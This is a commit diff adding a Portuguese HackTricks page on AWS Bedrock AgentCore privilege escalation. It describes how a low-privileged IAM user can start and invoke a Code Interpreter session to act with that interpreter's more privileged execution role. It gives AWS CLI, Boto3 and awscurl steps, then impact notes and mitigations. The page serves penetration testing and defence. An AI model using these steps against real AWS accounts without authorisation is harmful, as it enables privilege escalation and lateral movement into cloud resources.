Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

2026-07-28 14:47:17 -07:00 · 2026-02-12 19:42:46 +00:00
parent 8793b733df
commit 48f333f7a9
1 changed files with 113 additions and 0 deletions
@@ -0,0 +1,113 @@
+# AWS - Bedrock PrivEsc
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Amazon Bedrock AgentCore
+
+### `bedrock-agentcore:StartCodeInterpreterSession` + `bedrock-agentcore:InvokeCodeInterpreter` - Code Interpreter Execution-Role Pivot
+
+AgentCore Code Interpreter é um ambiente de execução gerenciado. **Custom Code Interpreters** podem ser configurados com um **`executionRoleArn`** que “fornece permissões para o code interpreter acessar serviços AWS”.
+
+Se um **principal IAM com menos privilégios** puder **start + invoke** uma sessão do Code Interpreter que esteja configurada com uma **função de execução mais privilegiada**, o chamador pode efetivamente **pivot** para as permissões da função de execução (lateral movement / privilege escalation dependendo do escopo da função).
+
+> [!NOTE]
+> Isto normalmente é um problema de **misconfiguration / excessive permissions** (conceder permissões amplas à função de execução do interpreter e/ou conceder acesso amplo de invoke).
+> A AWS alerta explicitamente para evitar privilege escalation garantindo que as funções de execução tenham **igual ou menos** privilégios do que as identidades permitidas a invocar.
+
+#### Preconditions (common misconfiguration)
+
+- Um **custom code interpreter** existe com uma **função de execução** excessivamente privilegiada (ex: acesso a S3/Secrets/SSM sensíveis ou capacidades semelhantes a administrador IAM).
+- Um usuário (desenvolvedor/auditor/identidade CI) tem permissões para:
+- start sessions: `bedrock-agentcore:StartCodeInterpreterSession`
+- invoke tools: `bedrock-agentcore:InvokeCodeInterpreter`
+- (Opcional) O usuário também pode criar interpreters: `bedrock-agentcore:CreateCodeInterpreter` (permite criar um novo interpreter configurado com uma função de execução, dependendo dos guardrails da organização).
+
+#### Recon (identify custom interpreters and execution role usage)
+
+Liste interpreters (control-plane) e inspecione sua configuração:
+```bash
+aws bedrock-agentcore-control list-code-interpreters
+aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
+````
+> O comando create-code-interpreter suporta `--execution-role-arn` que define quais permissões AWS o interpreter terá.
+
+#### Passo 1 - Iniciar uma sessão (isso retorna um `sessionId`, não um shell interativo)
+```bash
+SESSION_ID=$(
+aws bedrock-agentcore start-code-interpreter-session \
+--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
+--name "arte-oussama" \
+--query sessionId \
+--output text
+)
+
+echo "SessionId: $SESSION_ID"
+```
+#### Passo 2 - Invocar execução de código (Boto3 ou signed HTTPS)
+
+Não há **shell Python interativo** a partir de `start-code-interpreter-session`. A execução acontece via **InvokeCodeInterpreter**.
+
+**Opção A - exemplo Boto3 (executar Python + verificar identidade):**
+```python
+import boto3
+
+client = boto3.client("bedrock-agentcore", region_name="<REGION>")
+
+# Execute python inside the Code Interpreter session
+resp = client.invoke_code_interpreter(
+codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
+sessionId="<SESSION_ID>",
+name="executeCode",
+arguments={
+"language": "python",
+"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
+}
+)
+
+# Response is streamed; print events for visibility
+for event in resp.get("stream", []):
+print(event)
+```
+Se o interpretador estiver configurado com um execution role, a saída de `sts:GetCallerIdentity()` deve refletir a identidade dessa role (não o low-priv caller), demonstrando o pivot.
+
+**Opção B - chamada HTTPS assinada (awscurl):**
+```bash
+awscurl -X POST \
+"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
+-H "Content-Type: application/json" \
+-H "Accept: application/json" \
+-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
+--service bedrock-agentcore \
+--region <Region> \
+-d '{
+"name": "executeCode",
+"arguments": {
+"language": "python",
+"code": "print(\"Hello from AgentCore\")"
+}
+}'
+```
+#### Impacto
+
+* **Lateral movement** para qualquer acesso AWS que a função de execução do interpreter possua.
+* **Privilege escalation** se a função de execução do interpreter for mais privilegiada que o chamador.
+* Detecção mais difícil se os CloudTrail data events para invocações do interpreter não estiverem habilitados (as invocações podem não ser registradas por padrão, dependendo da configuração).
+
+#### Mitigações / Endurecimento
+
+* **Privilégio mínimo** na `executionRoleArn` do interpreter (trate-a como funções de execução do Lambda / funções de CI).
+* **Restrinja quem pode invocar** (`bedrock-agentcore:InvokeCodeInterpreter`) e quem pode iniciar sessões.
+* Use **SCPs** para negar InvokeCodeInterpreter, exceto para funções de runtime do agent aprovadas (pode ser necessária aplicação em nível de organização).
+* Habilite os **CloudTrail data events** apropriados para AgentCore quando aplicável; alerte sobre invocações inesperadas e criação de sessões.
+
+## Referências
+
+- [Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)](https://sonraisecurity.com/blog/aws-agentcore-privilege-escalation-bedrock-scp-fix/)
+- [Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)](https://sonraisecurity.com/blog/sandboxed-to-compromised-new-research-exposes-credential-exfiltration-paths-in-aws-code-interpreters/)
+- [AWS CLI: create-code-interpreter (`--execution-role-arn`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore-control/create-code-interpreter.html)
+- [AWS CLI: start-code-interpreter-session (returns `sessionId`)](https://docs.aws.amazon.com/cli/latest/reference/bedrock-agentcore/start-code-interpreter-session.html)
+- [AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-api-reference-examples.html)
+- [AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
+
+
+{{#include ../../../../banners/hacktricks-training.md}}